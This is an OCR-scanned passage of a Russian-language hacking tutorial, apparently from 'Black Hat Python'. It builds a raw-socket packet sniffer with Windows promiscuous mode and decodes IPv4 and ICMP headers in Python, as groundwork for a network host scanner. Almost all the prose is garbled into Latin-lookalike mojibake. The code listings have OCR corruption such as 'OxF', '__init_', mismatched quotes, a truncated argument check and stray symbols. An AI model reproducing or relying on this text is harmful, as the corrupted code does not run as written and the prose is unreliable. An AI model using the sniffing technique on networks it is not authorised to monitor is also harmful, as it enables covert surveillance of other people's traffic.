OrtkpoiiTe HOBBIH TepMuHaI WK 060/04Ky cmd.exe B Windows 1 BBIITOJHUTE
CJIEIY 0Ny 0 KOMaH/LY:

python sniffer.py

B apyrom tepmuHaie ui OKHe KOMaHIHOW 000JOUYKY BhIOEpPHUTE CETEBOH y3el,
K KOTOPOMY HY3KHO 06paTUThCsI. 371€Ch MBI MOIILJIEM TTAKeT BeO-caiiTy nostarch.com:

ping nostarch.com

B nepBoM OKHe, B KOTOPOM ObLT 3aITyIIieH aHaIu3aTop TpahuKa, 10JKEH TOSIBUTHCS
3aXBAaYEHHBIN BBIBO/I, 0UE€Hb TTOXOKII Ha CIEAYIONTNIL:
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(b'E\x00\x00T\xad\xcc\x00\x00\x80\x01\n\x17h\x14\xd1\x03\xac\x10\x9d\x9d\x00\
x00g, \rv\x00\x01\xb6L\x1b"\x00\x00\x00\x00\xf1l\xde\t\x00\x00\x00\x00\x00\x10\
x11\x12\x13\x14\x15\x16\x17\x18\x19\x1la\x1b\x1c\x1d\xle\x1f
I"#$%&\ " ()*+,-./01234567", ('104.20.209.3', 8))

Kax Buanre, Mbl mepexsatuiiu ucxoanbiii [CM P-3arpoc, HarpaBieHHbIN K nostarch.
com (cyast o Hasmmuwio [P-azipeca aToro BeO-caiita B KoHIle BbiBoja, 104.20.209.3).
Ecau Be1 BeImosiHSI€TE 9TOT TpUMep B Linux, BaM TaksKe M0KeH TPUUTU OTBET OT
nostarch.com.

AHa/us 0JJHOTO NaKeTa He 0YeHb T10JIE3€eH, TI09TOMY PACIIMPUM (DYHKIIMOHAb-
HOCTD HAIIETo Koja, 4ToObl 06pabarbiBaTh OOJIBIIE MAKETOB U JEKOAUPOBATH UX
COZIEPIKIMOE.

dexoaupoBaHMe NAKETOB CETEBOro YPOBHS

B texytmem Buzie Hamt ananmmsaTop Tpaduka mpuHuMaet Bee [ P-3aromoBky, Brogast
Jir00bIe TIPOTOKOJIBI O0Jtee BbicoKoro yposHs, Takue kak TCP, UDP wau ICMP. 1n-
dopmMaIisg ynakoBbIBaeTCs B IBOMYHBIN (hOpMaT, KOTOPBIN 3aTPY/IHSET ee UTeHNe,
B UeM BBl yiKe MOIJIM yOennThest. 3aiiMeMcest IEKOJIMPOBaHUEM TO YacTH TIaKeTa,
KOTOpast OTHOCUTCST K 1P, 4T0ObI M3BJIeYb TaKyIo MOJIe3HY0 HH(MOPMAIIHIO, KaK HC-
nosib3yembiii ipotokos1 (TCP, UDP wiu ICMP) u ncxonubiii/koneunsiii [IP-anpeca.
ITO TOCIIYKUT OCHOBOIA 1715t pa3bopa MPOTOKOJIOB, KOTOPHIM MbI 3alIMEMCST TTO3IKE.

Mbl cobupaeMcst IEKOIUPOBATh BXO/ISIIME CETEBbIE TTAKETDI, IOATOMY JlaBaiiTe
IIOCMOTPUM, KaK OHU BHITIAAAT BHyTpu. Ha puc. 3.1 mokasano, u3 4ero cocTOuT
[P-3arosoBox.

MexceTeBon NpoTokon
Oreyn| g3 | 47 8-15 16-18
B OuTax
Pasmep o
0 Bepcusa saronosxa Tvin cepBuca O6wunin paamep naketa
32 MoeHtndukatop dnarn CwmelueHne pparmeHTa
64 Bpemsi Xu3Hu MpoTtokon KoHTponbHas cymma 3aronoBka
96 IP-agpec nctovHmka
128 IP-agpec Ha3HaveHns
160 MapameTpsbl

Puc. 3.1. CrpykTypa 3aronoeka tunuuHoro naketa IPv4
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Mp1 nekomupyem Bech [ P-3aro10BoK (32 MCKITIOUEHIEM IT0JIsT [apaMeTphbl) U U3BJIe-
YyeM THII TPOTOKOJIA, a TakKe [ P-aapeca ncTounnka u Ha3HayeHus. ITO O3HAYAET
paboTy HEMOCPEACTBEHHO € IBOMYHBIMK JJAHHBIMH, TO3TOMY HaM HYKHO BBIPaOO-
TaTh CTPATErHIo [JIst pas3aesieHns Beex yacreil IP-3arosoBka ¢ momornisio Python.

Python mo3Bosisier 3amucarh BHENTHIOW ABOUYHYI0 HHOOPMAIUIO B CTPYKTYPY
JIAHHBIX HECKOJBKUMU criocobaMu. J[Jist onpe/iesieHust CTPYKTYPbI JAHHBIX MOKHO
HCIIOJIb30BaTh OJIMH U3 JIBYX MOJLyJIeil: ctypes wiu struct. [TepBbiii pecTaBIisieT co-
6ot 6ubmoreky it paboTei ¢ uHTepdeiicamu BHermHuX (ynkimii (foreign function
interface, FFT) B Python. OH maet Bo3MOKHOCTB 00paIaThesi K KOy, HAIMCAHHOMY Ha
C-110/100HBIX SI3bIKAX, 3a€HCTBOBATH TUIIBI JAHHBIX, cOBMeCTHMbIe ¢ C, U BHI3bIBAThH
(bYHKIMN 13 pasjiessieMbix OMOIMOTEK. A struct BBITOIHSET TPe0OPa30BaHNe MEK/LY
snauenusivu Python u ctpykrypamu C, ipectaiisist ocjieiHIe B Brjie GAfiTOBBIX
00beKTOB. VIHBIMU CJT0BaM, 062 MOJLyJIst pPAOOTAOT € IBONYHBIMU JIAHHBIMH, OJIHAKO
ctypes B JIOTOJHEHKE K 9TOMY MMEET MHOTO JPYTUX BO3MOKHOCTEIA.

Ecam uccnenosars peno3uTopun pa3HbIX MHCTPYMEHTOB, JIOCTYITHBIX B UHTEPHETE,
MOKHO BCTPETUTH 00a 3TH MO/IX0/1a. B 1aHHOM pasjiesie Mbl MOKasKeM, KaK HCIOJIb-
30BaTh KaXKIbIH U3 HUX [ utenns [ Pv4-3aromoBka u3 cetu. Bam pemats, kakoi
METO/I TPEeIIOYTUTEbHEN, — MTOJ0UIET U TOT, U IPYTOM.

Mogaynb ctypes

Cremytonmuii (hparMenT Kojia oTrpe/iesisieT HOBBIH KJacc, IP, KOTOPBII MOKET TIPO-
YUTATh HAKET U PasOMTh €ro 3aroJI0BOK Ha OT/IE/IbHbIE TOJISE:

from ctypes import *
import socket
import struct

class IP(Structure):

_fields_ = [

("ihl", c_ubyte, 4), # 4-6UTHbIN 6e33HakoBblii Tun char
("version", c_ubyte, 4), # 4-6UTHbIi 6e33HaKkoBbit Tun char
("tos", c_ubyte, 8), # 1-6alTHbi Tun char

("len", c_ushort, 16), # 2-6alTHbIN 6e33HaKkoBbli TMn short
"id", c_ushort, 16), # 2-6aliTHbIN 6e33HaKkoBbIi Tun short
("offset", c_ushort, 16), # 2-6alTHbIN 6e33HaKkoBbli TUN short
("ttl", c_ubyte, 8), # 1-6alTHbi Tun char
("protocol_num", c_ubyte, 8), # 1-6alTHbIi TUN char

("sum", c_ushort, 16), # 2-6alTHbIN 6e33HaKkoBbli TUN short
("src", c_uint32, 32), # 4-6alTHbIN 6e33HaKoBbliA TN int
("dst", c_uint32, 32) # 4-6alTHbIA 6€33HaKoBbIn TuN int

]

def __new__ (cls, socket_buffer=None):
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return cls.from_buffer_copy(socket_buffer)

def __init_ (self, socket_buffer=None):
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))

ITOT KJIacC CO3/IaeT CTPYKTYpPY _fields_ /s ompenenenus: Kaxkmoi yactu [P-
3arosioBka. CTPyKTypa UCIOJIb3yeT TUllbl si3bika C, ornpejie/ieHHbIE B MOJLYJie
ctypes. Hampumep, Tui c_ubyte — 310 unsigned char, T c_ushort — unsigned
short u T. 1. Kak BugmTe, Kask0€e ToJie COOTBETCTBYET auarpamme [ P-3aromoBka,
npuBeieHHoH Ha prc. 3.1. Onucanme Kaxka0To MO COCTOUT U3 TPEX apTyMEHTOB:
ero uMeHu (HampuMep, ihl uam offset), Tuia 3HAYEHN, KOTOPbIE OHO PUHIMAET
(Harpumep, c_ubyte Wi c_ushort), 1 IIMPUHBI TOTO 10JIsA B OUTaX (HalIpUMED,
4 st ihl m version). Bo3MOKHOCTD YKa3biBaTh OUTOBYIO IUPUHY TT0JI€3HA, TaK
KaK BbI MOJKETE 3a/1aTh JIF000€ 3HAaYEeHUE 10 CBOEMY JKeJIaHUIO, U HE TOJBKO Ha
ypoBHe 6aiiToB (ecsiu ObI JJIMHA yKa3blBajach B OaiTax, moJist Beerjga Oblin Obl
KpaTHbI 8 Gutam).

Kunace IP nacsenyer kjacce Structure U3 MOJyJIsl ctypes, COIJIaCHO KOTOPOMY
nepes Co3aHreM Kakoro-in6o 06bekta HeoOGX0MUMO OTIPENEUTh CTPYKTYPY
_fields_. /lng 3anonnenusi _fields_ Kyacc Structure UCIIOJIB3YET METOJl __New__,
KOTOPBII IPMHUMAET B KaueCcTBe [IePBOT0 apIyMeEHTA CChLIKY Ha KJIACC U 3aTeM CO3-
JIaeT 1 BO3BPAIaeT 0O0bEKT ITOTO KJIACCa, & TOT YIKe [lepeIaeTcsi B MEeTo __init_ .
Takum o6pazom, o0bekT IP Oyer cozmaBaThest Kak 00bIYHO, HO BHYTpU Python
BBI3BIBAET METOJ __Nnew__, KOTOPBIH 3amoJiHsIeT CTPYKTYPY JaHHBIX _fields_ He-
MOCPEICTBEHHO Tiepe]] co3iatneM 00beKTa (KOr/ia BhI3bIBACTCS METO __init_ ).
Ecan BBI 3apanee onpejiesinian sTy CTPYKTYPY, METOLY __new__ MOKHO IIPOCTO
rnepenaTh COAEPKUMOE BHEITHETO CETEBOTO ITAKeTa, U COOTBETCTBYIONINE ITOJIA KaK
10 BOJIIIEOCTBY TIPEBPATSITCS B ATPUOYTHI BAIEro 00beKTa.

Terepsb BBI MMeeTe TIpeACTaBIECHNE O TOM, KaK TPUBI3aTh TUIEI JaHHBIX C K 3Ha-
yennaM [P-3arosmoBkos. Mcnonp3oBanne koja Ha g3bike C B KauecTBe OTIIPABHOM
TOYKH MOKET ObITh MOJIE3HBIM IPUEMOM, TaK KaK OH aBTOMaTUYECKH Tipeodpasy-
ercst B koa Ha Python. Bee mogpo6HOCTH 0 TOM, Kak paboTaTh ¢ MOZLyJIEM ctypes,
MO’KHO HAWTU B €r0 JIOKYMEHTAI[IH.

Mogynb struct

Momysb struct mpefocTaBisgeT CMMBOJIBI (hOPMATHPOBAHUS, C TOMOTIBIO KOTOPBIX
MO>KHO OMUCATh CTPYKTYPY ABOMUHBIX IAHHBIX. B ciemytoriem nmpuMepe MbI eliie
pa3 omnpenesm kiaacce [P pig xpanennst macdopmanmm o 3arososke. OqHako Ha
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9TOT Pa3 /IJid TIPEICTABJIECHNS 2JIEMEHTOB 3aT0JIOBKA BOCIIOJIb3yeMCS CUMBOJIAMU
opmaTupoBanus:

import ipaddress
import struct

class IP:
def __init_ (self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
self.ver = header[0] >> 4 ©
self.ihl = header[0] & OxF ®

self.tos = header[1]

self.len = header[2]

self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
self.sum = header[7]

self.src = header[8]

self.dst = header[9]

# IP-ajgpeca, MOHATHblE 4YenoBeky
self.src_address = ipaddress.ip_address(self.src)
self.dst_address = ipaddress.ip_address(self.dst)

# conocTaBnAeM KOHCTaHTbl MPOTOKOMOB C WX Ha3BaHUAMM
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}

[Tepsaiii cumBO hopMaTHPOBaHU (B HAIIEM CIydae 3To <) BCETa OnpeessieT
HOpsiIOK GAlTOB B ABOMYHOM uuncse. /st mpeacTaBienust THnos si3bika C wc-
MOJIB3YIOTCST (hopMaT U MopsiIoK GANUTOB, CTAHAAPTHBIE /IS 3aI€ICTBOBAHHOTO
KoMIIbioTepa. B rarroM cirydae Mbl iMeeM ziedio ¢ cuctemoii Kali (x64), B koTopoii
GafThl Pa3MEIAIOTCS OT MJIA/IIIETO K CTapiieMy. ITO 03HAYAET, YTO CaMbIi MJIaji-
muii 6afiT UMeeT HU3IINIA afpec, a CaMblil CTapIInii — HAUBBICIIUIL.

Cuetytotiime cuMBOJIBI (hOPMATUPOBAHUS TIPEJCTABJISIIOT OT/I€JTbHBIE DITEMEHTHI
3aroyioBka. MoJiyJsib struct mpeocTaBisieT HECKOJbKO TaKMX CUMBOJIOB. B ciry-
yae ¢ [P-3aro10BKOM HaM HYKHbI TOJIBKO B (1-0aiiTHbII Ge33HaKOBBIN THUII char),
H (2-6aliTHblil 6e33HAKOBLINM TUIl short) U s (MaccuB 6ailTOB, JJIs KOTOPOIO He-
00X0IMMO yKa3aTh GANTOBYIO IMIUPHUHY, HATIPUMED, 4s 00o3HaYaeT 4-6allTHYIO
cTpoky). O6paTrTe BHUMAHUE HA TO, 4TO CTPOKA (hOPMATHPOBAHUST COOTBETCTBYET
CTpyKType anarpamMmbl 1 P-3arosroBka, mpusenenHoit Ha puc. 3.1.

Kax Bbl TOMHUTE, ctypes MO3BOJISIET YKA3bIBATh MIUPUHY KaXKIOTO OT/AEJbHOTO
9JIeMeHTa 3aroJioBKa B Outax. B Mozyse struct He mpeaycMOTPEHO CUMBOJIA
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dhopmarrpoBanus 1 1oJrybaiiTa (Tak Ha3bIBAEMOTO HUOOIa — 4-OUTHON €IMHUTIBI
n3MepeHust THGOPMAIUH ), TOATOMY HYZKHO ITPOIeJIaTh Koe-KaKue MaHUTTYJISTIIH,
94TOOBI MOJIYYHTh TEPEMEHHbBIE ver 1 hdrlen U3 IIEPBOI YaCTH 3ar0JIOBKA.

Mbl XOTUM HPUCBOUTH MEPEMEHHON ver TOJIbKO cmapuiuii ToyOaiT nepBoro
Gaiita mosrygeHHOro 3arosiopka. QObIYHO It 9TOTO OalT cosuzaemcs 6npaso Ha
YeThIpe pasps/ia, YTO PaBHOZHAYHO A0OABIEHUIO B HaYasI0 OaiiTa 4eThipex HyJeii,
B pesyJisrare mocyeaue yetbipe Oura repsiiores @. Takum 06pasoM, y HAC 0CTaeTest
TOJIBKO MEPBbIil mosrybaiiT ucxoaHoro Gaiira. Hamr kox Ha Python dakrtuueckn
JleaeT caeLyioniee:

MbI XOTUM HPUCBOUTD MepeMeHHoi hdrlen maadwuii noaybait (To ecTh 1o-
caenuue 4 6uta cooTBeTcTBYIOIIEro Oaiita). OOBIYHO JJISI ATOTO MCIOJIb3YIOT
goruveckutii onmepatop M (AND) B coueranuu ¢ OxF (00001111) @. Hanpumep,
sormdeckad omneparud «0 1 1» gaet 0 (tak kak O u 1 axBUBaseHTHBI FALSE 11 TRUE
cooTBeTCTBEHHO). UT0OBI BhIpaskeHue ObLI0 UCTUHHBIM, 00€ ero 4yacTH, JeBas
U mpaBas, TOJKHBI ObITh UCTUHHBIMU. ClieZloBaTeIbHO, 9Ta OIepalus yIaIseT
nepBble YeThipe 6UTa, TaK KaK ecu oJuH u3 onepangos M pasen 0, Mbl Bcerga
nosydaeM 0. [Tocsenrue yeTbipe GUTA OCTAIOTCS HETPOHYTHIMHU, TOTOMY YTO
ecJiu oJlUuH U3 onepanioB pasen 1, M Bo3Bpaliaer ucxopHoe 3HaYe€HUEe PYroro
onepania. B cymaocTn, ganubiii ko Ha Python npogensiBaer caepyiornime ma-
HUIYJISAIAN ¢ GaliTaMu:

Jlna pexopuposanust IP-3arosoBka HeoOsA3aTebHO 3HATH BCE AETAINU PaboThI
C JIBOMYHBIMY JIAHHBIMHU, HO TTPH UCCJIEI0OBAaHUN KOJIA IPYTUX XaKepPOB BaM OyLyT
MOCTOSTHHO BCTPEYATHCSI OLPE/IEIEHHBIE TIPUEMbI, TAKUE KAK CABUIU U OTIEPAIUH
AND, TT09TOMY CTOUT PazoOPaThCsi B TOM, KakK OHH PabOTAIOT.

B takux ciydasix, Kak pacCMOTPEHHBII, KOT/la He0OXOIUMO CABUHYTH OUTBHI,
JIEKOZIMPOBaHKE IBOMYHBIX JaHHBIX TpeOyeT HeKOTOpbiX ycuauil. Ho 3agacryio
(nampumep, npu yrenun [CMP-coobrieHnit) B 3TOM HET HUYETO CJIOKHOTO:
kaxaas yactb [CMP-coobiienns kpaTtHa 8 Outam, Kak U CUMBOJIBI (hOPMATUPO-
BaHUs, TIPEIOCTABIIsIEMbIe MOJIYJIEM struct, TT09TOMY GAalThl He HYKHO JETUTh
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Ha oTjeabHble nonyOaiitel. Kak Buano na puc. 3.2, 8 orsere ICMP Echo Reply
kask/p1il mapameTp ICMP-3arooBka MOKHO TIPEICTABUTH C TIOMOTIBIO OJTHOTO U3
CYIIECTBYIOIINX CUMBOJIOB (hopMaTupoBanusi (BBHHH).

0 4 8 12 16 20 24 28 32
Tun Kop, KoHTponbHas cymma
oeHtnopukarop MNopsaKoBbIn HOMEP

:|: JOMNOSHUTENbHBIE AaHHbIE :|:

Puc. 3.2. Mpumep oteeta ICMP Echo Reply

Y1066t 6BICTPO Pa3oGPaTh ITO COOOIIEHNE, MOKHO TIPOCTO TPUCBOUTD 110 OTHOMY
GaiiTy TepBHIM ABYM aTpubyTaM 1 1o Ba Gaiita — CIeAyIOIIM TPEM:

class ICMP:

def __init_ (self, buff):
header = struct.unpack('<BBHHH', buff)
self.type = header[0]
self.code = header[1]
self.sum = header[2]
self.id = header[3]
self.seq = header[4]

Bce nogpobHocTr 00 UCIIOIb30BAaHUK MOAYJIE struct MOKHO HAiITH B €10 JI0KY-
MenTanmu (https://docs.python.org/3/library/struct.html).

Jlnist arennst v pazbopa ABOMYHBIX JAHHBIX TIOAXOAAT 00a MOZLYJIsI, struct u ctypes.
Kaxoii 6bI 1101X07 BbI HI BEIOpaJIN, 9K3EMILIAP Kaacca IP co3maeTcs Tak:

mypacket = IP(buff)
print(f'{mypacket.src_address} -> {mypacket.dst_address}')

B aTom mpuMepe 1ipu co3/ITaHNN 9K3EMILISIPA Kacca IP eMy repeaeTcs COlepKu-
Moe T1aKeTa B IlepeMeHHOo buff.

Hanucanne gekonepa nakeros IP

PeanusyeM npouerypy AekoaupoBanus nakeTos [P, KOTOpyI0 MbI TOJIBKO YTO pac-
cMOTpeJin, B (haiisie ¢ uMeHeM sniffer_ip_header_decode.py:
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import ipaddress
import os

import socket
import struct
import sys

class IP: ©
def __init_ (self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
self.ver = header[0] >> 4
self.ihl = header[0] & OxF

self.tos = header[1]

self.len = header[2]

self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]

self.sum = header[7]
self.src = header[8]
self.dst = header[9]

# IP-apgpeca, MOHATHble 4YesnoBeky @
self.src_address = ipaddress.ip_address(self.src)
self.dst_address = ipaddress.ip_address(self.dst)

# conocTaBnAeM KOHCTaHTbl MPOTOKONIOB C WX Ha3BaHUAMM
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
try:
self.protocol = self.protocol_map[self.protocol_num]
except Exception as e:
print('%s No protocol for %s' % (e, self.protocol_num))
self.protocol = str(self.protocol_num)

def sniff(host):
# [NONXHO 6bITb 3HAKOMO MO MpefpiayuwemMy npumepy
if os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET,

socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == 'nt':
sniffer.ioctl(socket.SIO _RCVALL, socket.RCVALL_ON)

try:
while True:
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# 4yuTaem naket

raw_buffer = sniffer.recvfrom(65535)[0] ©

# co3paem IP-3aronoBoK W3 nepBbix 20 6aiToB

ip_header = IP(raw_buffer[0:20]) ®

# BbIBOAMM OBHApyXeHHble NMPOTOKOA U agpeca

print('Protocol: %s %s -> %s' % (ip_header.protocol, ©
ip_header.src_address,
ip_header.dst_address))

except KeyboardInterrupt:
# ecnm mbl B Windows, Bbik/lo4aeM HensbupaTenbHbIl pexum
if os.name == 'nt':
sniffer.ioctl(socket.SIO _RCVALL, socket.RCVALL_OFF)
sys.exit()

if __name__ == '__main__':
if len(sys.argv) == 2:
host = sys.argv[1]
else:
host = '192.168.1.203"
sniff(host)

Buauasie Mbl 1ojikiiouaem omnpejiesenne kiacca [P @ — cTpykTypy Ha si3biKe
Python, koropast ipeacraBut mepsbie 20 6aiiToB 13 morydenHoro Oydepa B Buze
ynobountaemoro [P-3arososka. Kak Buire, Bce onpeieieHHbIE HAMI TTOJIST TOY-
HO COOTBETCTBYIOT CTPYKTYPE 3aroJioBKa. MBI Mpo/IesIbIBaeM JOTTOTTHUTETHHBIE
MAaHUITYJISIIUH, YTOOBI C/IeJIaTh BBIBOJ[ TIOHSTHBIM YEJIOBEKY, /IS YeTO BBIBOANM
npotokos u IP-afgpeca, kotopeie ucnomnb3yores pu coenquHernn @. Ha ocHoBe
HOBOMCIIEYEHHOI CTPYKTYPBI IP THIIEM JIOTUKY JIJII TOCJIe/IOBATEIbHOTO YTEHUS
HaKeToB 1 pazbopa MxX coaepKuMoro. Mbl unTaeM maker © u mepenaem nepsbie
20 6aiiToB @ It MHUTMATU3AIIK CTPYKTYPBI [P, 3aTeM IpocTo BHIBOANM TIOJTY -
uyeHHyto nHbopmaimio ©. /laBaiite orrpodyeM 5TOT KO/ Ha IPaKTHKE.

MpoBepka HAaNUCAHHOro

ITpoBepnM HaTMCAHHDIH HaMH KO B paboTe 1 TOCMOTPHM, KaKOTO pojia nH(opMa-
110 OH M3BJIEKAET U3 IPUXOAAIINX He0OOPaBGoTaHHBIX AKETOB. M bl HACTOSITEILHO
COBETYEM ITPOBOIUTDH ITPOBEPKY Ha KOMITbIOTEpe ¢ Windows, Tak Kak 3TO TI03BOJIAT
BaMm Buzieth naketsl TCP, UDP u ICMP, uto cienaet nporeypy 0BOJILHO MTPO-
cToi (HarmpuMep, BaM I0CTaTOYHO Oy1eT OTKPHITH Opaysep). Eciiu ske Bbl paboTaere
TOJIBKO B LinuXx, BBITTOTHUTE TPOBEPKY € TIOMOTIBIO ping, KaK MBI /IeTall paHee.

()TKpOﬁTeTepMHHaHIIBBGHHTECHGHYKHHGE

python sniffer_ip_header_decode.py
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Cucrema Windows 10BOJIbHO 00U TEBHAST, TIO9TOMY BbI, CKOPEE BCETO, CPa3y JKe
YBUIITE BHIBOJL. [1JIsT TPOBEPKH STOTO CKPUIITa MBI OTKpbiBasiH B Internet Explorer
ajipec www.google.com, 1 BBIBO/[ BBITJISIIEJT TAK:

Protocol: UDP 192.168.0.190 -> 192.168.0.1
Protocol: UDP 192.168.0.1 -> 192.168.0.190
Protocol: UDP 192.168.0.190 -> 192.168.0.187
Protocol: TCP 192.168.0.187 -> 74.125.225.183
Protocol: TCP 192.168.0.187 -> 74.125.225.183
Protocol: TCP 74.125.225.183 -> 192.168.0.187
Protocol: TCP 192.168.0.187 -> 74.125.225.183

ITockoJbKy MBI He TPOBOAMM IJIyOOKUI aHAJIN3 9THX TAKETOB, O 3HAYECHUH OTOKA
MOKHO TOJIBKO rajiaTh. [Ipeanonaraem, uto repsbie Heckosbko UDP-niakeToB oT-
nocatest kK DNS-3ampocam (Domain Name System — cuctema JoMEHHBIX UMEH),
OTIPEIEJISIONINM MeCTOTIO I0KeH e google.com, a mocsenytotue TCP-cearcs — aTo
TO, KaK Halll KOMIIBIOTEP COEAUHSIETCS € BEO-CepBepOM 9TOr0 BeO-caiiTa U CKaunBaeT
€ro COIEPIKIMOE.

YUT06bI BBITOJHUTE TY Ke IIPOBEPKY B Linux, MOKHO BOCIOJIb30BAThCS KOMAHION
ping google.com. PesyibraT GyaeT CIemayIomum:

Protocol: ICMP 74.125.226.78 -> 192.168.0.190
Protocol: ICMP 74.125.226.78 -> 192.168.0.190
Protocol: ICMP 74.125.226.78 -> 192.168.0.190

Bl MOsKeTe BUIETh OTPAaHIYEHHOCTH 9TOM TIPOBEPKU: BHIBOASTCS TOJIBKO OTBETHI
1 TOJIbKO 17151 ipoTokosia ICMP. Ho ockoibKy Mbl pa3pabaTbiBaeM HMEHHO CKa-
Hep /111 OOHAPY KeHMsI CETEBBIX Y3JI0B, 9TO BIIOJIHE IIpueMaeMo. Terepb BosbMeM
HOZIXOJ, C TIOMOII[bIO KOTOPOTO MbI IeKOANpoBain I P-3arol0BoK, 1 IIPUMEHIM €10
k ICMP-coobienusm.

AexkoaupoBanue ICMP

VTak, Mbl y5Ke yMeeM JIeKOANPOBaTh ypoBeHb 1P j1r060ro 3aXxBayeHHOTO TaKeTa,
MIO9TOMY He IOJKHO BO3HUKHYTH TPyAHOCTEH ¢ nekoaupoBarueM [CMP-oTBeTos,
KOTOpbIe Halll cKanep OyzeT mosydyars B pesysbrare oripaBku UDP-mgatarpamm
Ha 3akpbiThie mopThl. Comepxumoe ICMP-coobieHnii MOKeT CynecTBEHHO
BapbUPOBATHCH, HO KaXkKI0€ M3 HUX BCET/IA COMEPKUAT TPH dJIieMeHTa: TUTI (type),
Ko/ (code) 1 KOHTPOJIbHYIO cyMMYy (checksum). ITepBbie Ba 11OJI TOBOPSAT TIPU-
HUMAIOIIEMY Y3J1y 0 TOM, Kakoii Tt [CMP-coo01iieHust eMy MpUIIe, 4TO B CBOIO
ouepesib OIpenesisgeT, Kak caeyeT MPOBOANTD NEKOINPOBAHNE.
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B coryuae ¢ Harmmm ckaHepoM HYKHO, YTOObI 3HAUEHUS TUTIA U KO/ia ObLIN PaBHBI 3.
Iro 6yzer cooTBeTcTBOBATH KIaccy ICMP-coobienmii Destination Unreachable
(0ObeKT Ha3HAYEHUST HEJIOCTYIIEH ), @ KOJI CO 3HaUeHKeM 3 Oy/IeT YKa3bIBaTh Ha BO3-
HUKHOBeHWe OlnOKK Port Unreachable (nopr Hepoctynen). Crpykrypa ICMP-
coobenust Destination Unreachable nipejcraBiieHa Ha puc. 3.3.

Coob6uieHune Destination Unreachable

0-7 8-15 16-31
Tun=3 Kop, KOHTposibHas cymma 3aronoska
He vcnonb3yeTtcsa MTU cnepytowiero nepexoga

IP-3aronoBok 1 nepeble 8 6aiT coaep>XXMMOro NCX0A4HOM aaTtarpamMmbl

Puc. 3.3. Crpyktypa ICMP-coobwenms Destination Unreachable

Kaxk Buzute, epsbie 8 6MToB onuchiBatoT TUll, a Bropbie — ICMP-kox. Crenyer
OTMETHTD, 4TO 1ipu oTmpaske Takux [CMP-coobrienmnii ceteBoit y3en mobasisi-
eT B HuxX IP-3ar0/T0BOK MCXOMHOTO 3ampoca, KOTOPhI HHUITUHPOBAJ OTBET. Bhl
TaK/Ke MOKETe BUIETh, YTO MBI €Ille Pa3 COMOCTABJISAEM MOJTy4eHHOE COOOIIeHIe
¢ 8 GaiiTaMu OTIIPABJIEHHOI JIaTarpaMMbl, 4TOObI YOEAUTHCS B TOM, YTO JaHHbII
ICMP-oTBeT GBI CIIPOBOIMPOBAH HAIITMM CKaHePOM. J[JIst TOTO Mbl U3BJIEKaeM
U3 noJrydeHHoro Gydepa nocsenanue 8 6aitToB, 4TOOBI MOJYYUTH TY CAMYTO CTPOKY,
KOTOPYIO MTOCJTIAJI CKaHep.

JIOTIOJTHUM KOJI CO3/IaHHOTO paHee aHajan3artopa Tpaduka Tak, 4ToObI OH yMeJ
nexoampoBatb ICMP-nakerst. Coxpanum npembiayninii haiti kak sniffer_with_
icmp.py 1 06aBUM B HETO CJIELYIOIIUI KO

import ipaddress
import os

import socket
import struct
import sys

class IP:
--nponyueHo- -

class ICMP: ©
def __init_ (self, buff):
header = struct.unpack('<BBHHH', buff)
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self.type = header[0]
self.code = header[1]
self.sum = header[2]
self.id = header[3]
self.seq = header[4]

def sniff(host):
--nponyueHo- -

ip_header = IP(raw_buffer[0:20])

# Hac uHTepecyeT ICMP

if ip_header.protocol == "ICMP": @
print('Protocol: %s %s -> %s' % (ip_header.protocol,

ip_header.src_address, ip_header.dst_address))
print(f'Version: {ip_header.ver}")
print(f'Header Length: {ip_header.ihl} TTL:
{ip_header.ttl}")

# onpepenAem, rpe HaduHaeTtcA ICMP-nakeT

offset = ip_header.ihl * 4 ©

buf = raw_buffer[offset:offset + 8]

# cospaem cTpykTypy ICMP

icmp_header = ICMP(buf) @

print('ICMP -> Type: %s Code: %s\n' %
(icmp_header.type, icmp_header.code))

except KeyboardInterrupt:

if os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
sys.exit()
if __name__ == '__main__":

if len(sys.argv) ==

host = sys.argv[1]
else:

host = '192.168.1.203"
sniff(host)

ITOT MPOCTOI (hparMeHT Ko/la CO3/1aeT CTPYKTypy ICMP @ BHYTpH HaIIEH CTPYK-
TypbI IP. Kora riraBHbIi UK U1 IPHEMa TTAKETOB OOHAPYKIUBAET, UTO MBI TTOJTY -
ynin [ICMP-naker @, onpeziesisieM, HACKOJIbKO €ro TeJIO CMEIIEHO OTHOCUTETHHO
HCXOIHOTO TTakeTa @, 3atem cosmaeM Oydep @ U BHIBOAMM TI0JISI type U code.
Besmuwna cMenienust 3aBucut ot noJist [P-3arosioBka ihl, KOTopoe 1moKa3bIBaer,
CKOJIbKO 32-OUTHBIX CJI0B (4-0aliTHBIX OJIOKOB) COAEPKUTCS B 9TOM 3arOJIOBKE.
Takum 06pa3oM, YMHOKHUB 3TO 10Jie Ha 4, MbI TIoJTydaeM pasmep IP-3arosioBka
U TE€M CaMBIM OIIpeJiesisieM, T/l HAaUMHAETCs CJIeIYIONNil yPOBeHb (B JaHHOM

ciayvyae [CMP).
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Ecim 6LICTpO IIPOBEPUTD 3TOT KO/L C TIOMOIIbIO CTaHﬂapTHOI;,I KOMaH/IbI ping, BbBIBO/L
JOJIKEH HEMHOTO USBMEHUTDHCA:

Protocol: ICMP 74.125.226.78 -> 192.168.0.190
ICMP -> Type: © Code: ©

IT0 rOBOPHT O TOM, 4TO 0TBeTHI Ha ping (ICMP Echo) npunumarorcs u rexomm-
pytorcs koppekTHo. Terepb Bce FOTOBO /ISl pean3aliii oce/iHel 4acTi JJOTUKN
s ornpaBku UDP-gaTarpamMMm u mHTEpIIpeTaiii OTBETOB.

